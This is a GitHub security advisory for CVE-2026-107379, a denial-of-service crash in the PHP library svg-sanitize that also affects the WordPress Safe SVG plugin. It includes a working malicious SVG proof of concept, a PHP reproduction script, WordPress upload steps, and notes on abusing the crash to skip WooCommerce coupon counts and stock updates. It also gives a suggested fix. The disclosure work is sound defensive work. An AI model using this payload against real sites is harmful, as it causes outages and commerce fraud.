CVE-2026-107379: enshrined/svg-sanitize Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v383-3rw5-q8rf",
  "modified" : "2026-10-08T19:41:05Z",
  "published" : "2026-10-08T19:41:05Z",
  "aliases" : [ "CVE-2026-107379" ],
  "summary" : "enshrined/svg-sanitize: Denial of Service via DTD Attribute Declaration Crash",
  "details" : "## Summary\n\nA crafted SVG file (1009 bytes) crashes the PHP process when sanitized by `enshrined/svg-sanitize` (any version through 0.22.x). The sanitizer's `cleanAttributesOnWhitelist()` method calls `DOMElement::removeAttribute()` twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD `#FIXED` default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs\n- **TYPO3:** svg-sanitize integrated into core since v9\n- **Drupal:** community module wrapping svg-sanitize\n\n## Vulnerability Details\n\n### Trigger Flow\n\n```\nSanitizer::sanitize($malicious_svg)\n  → DOMDocument::loadXML() — parses DTD, creates XML_ATTRIBUTE_DECL for #FIXED attr\n  → startClean() → cleanAttributesOnWhitelist($svgElement)\n    → \"badhref\" NOT in allowedAttrs\n    → removeAttribute(\"badhref\")          ← removes explicit attribute (safe)\n    → stripos(\"badhref\", \"href\") = TRUE\n    → getAttribute(\"badhref\")             ← returns DTD #FIXED default value\n    → isHrefSafeValue(\"javascript:x\")    ← returns FALSE\n    → removeAttribute(\"badhref\")          ← hits XML_ATTRIBUTE_DECL → CRASH\n```\n\n**Root cause in svg-sanitize:** The sanitizer does not strip DOCTYPE/DTD declarations before processing. The `cleanAttributesOnWhitelist()` method at `Sanitizer.php:303-330` has a double-removal pattern where the whitelist check and the href safety check can both call `removeAttribute()` on the same attribute name. When a DTD `#FIXED` default exists, the second call targets the DTD declaration node, triggering a PHP crash.\n\n**Second trigger path** in `cleanHrefAttributes()` (`Sanitizer.php:354`): case-normalization of `HrEf` → `href` calls `removeAttribute()` then `setAttribute()` on the DTD default.\n\n### WordPress Code Path\n\n```\nUser uploads SVG → WordPress wp_handle_upload()\n  → filter 'wp_handle_upload_prefilter'\n  → SafeSvg\\safe_svg::check_for_svg()        [safe-svg.php:176]\n  → SafeSvg\\safe_svg::sanitize($tmp_file)     [safe-svg.php:218]\n  → enshrined\\Sanitizer::sanitize($contents)   [Sanitizer.php:193]\n  → cleanAttributesOnWhitelist() → double removeAttribute → CRASH\n  → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502\n```\n\n## Proof of Concept\n\n### Malicious SVG (evil.svg)\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE svg [\n  <!ATTLIST svg badhref CDATA #FIXED \"javascript:alert(1)\">\n]>\n<svg xmlns=\"http://www.w3.org/2000/svg\" badhref=\"javascript:alert(1)\" viewBox=\"0 0 100 100\">\n  <rect width=\"100\" height=\"100\" fill=\"red\"/>\n</svg>\n```\n\n### Standalone reproduction\n\n```php\n<?php\nrequire_once 'vendor/autoload.php';\n\n$svg = file_get_contents('evil.svg');\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer->sanitize($svg);\necho \"Sanitized: \" . strlen($clean) . \" bytes\\n\";\n// Process crashes at exit: munmap_chunk(): invalid pointer, exit code 134\n```\n\n### WordPress reproduction\n\n1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)\n2. Login as Author → Media → Add New → upload `evil.svg`\n3. **Result:** HTTP 502 Bad Gateway, PHP-FPM worker killed\n\n### Confirmed output\n\n```\n$ docker exec wordpress php /tmp/test.php\nSanitized: 157 bytes\nmunmap_chunk(): invalid pointer\n$ echo $?\n134\n\nPHP-FPM log:\n[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)\n```\n\n## Impact\n\n### Full Site Denial of Service\n\nWith `pm.max_children = N`: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.\n\n### Application State Corruption\n\nSIGABRT bypasses `register_shutdown_function()`. On WordPress + WooCommerce:\n- **Coupon bypass:** usage_count increment skipped → unlimited reuse of single-use coupons\n- **Stock oversell:** stock reduction not committed → multiple orders for 1-stock items\n- **Cron starvation:** wp_cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely\n\n### Attack surface\n\nSafe SVG hooks `wp_handle_upload_prefilter` (safe-svg.php line 152). The hook fires when code calls `wp_handle_upload()` or `wp_handle_sideload()`.\n\n**Note:** Popular form plugins (Contact Form 7, WPForms) use `move_uploaded_file()` directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls `wp_handle_upload()` is affected.\n\n| Scenario | Authentication | Affected installs |\n|---|---|---|\n| WordPress (default Safe SVG) — Media upload | Author role (`upload_files` cap) | 1M+ |\n| WordPress — REST API `POST /wp/v2/media` | Author role | 1M+ |\n| WordPress — plugins using `wp_handle_upload()` for public uploads | Varies by plugin | Plugin-dependent |\n| Custom PHP app with svg-sanitize on public endpoint | **Often none** | 45M+ downloads |\n| TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ |\n\nThe strongest pre-auth scenario is **custom PHP applications** using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.\n\n## CVSS\n\n**CVSS 3.1: 6.5 (Medium)** — default WordPress (Author role)\n\n`AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`\n\nFor custom apps with unauthenticated svg-sanitize endpoints: **CVSS 7.5 (High)** (PR:N)\n\n## Suggested Fix\n\nStrip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:\n\n```php\n// In Sanitizer::sanitize(), before loadXML():\n$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\\[.*?\\])?\\s*>/si', '', $dirty);\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)\n- WordPress 6.9.4 + Safe SVG 2.4.0\n- PHP 8.3.24 (fpm), NTS, x86_64\n- nginx + PHP-FPM (Docker)\n\n**Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/)\nDenis Rostilov**",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "enshrined/svg-sanitize"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.22.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-v383-3rw5-q8rf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-107379"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/darylldoyle/svg-sanitizer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T19:41:05Z",
    "nvd_published_at" : "2026-10-08T18:17:23Z"
  }
}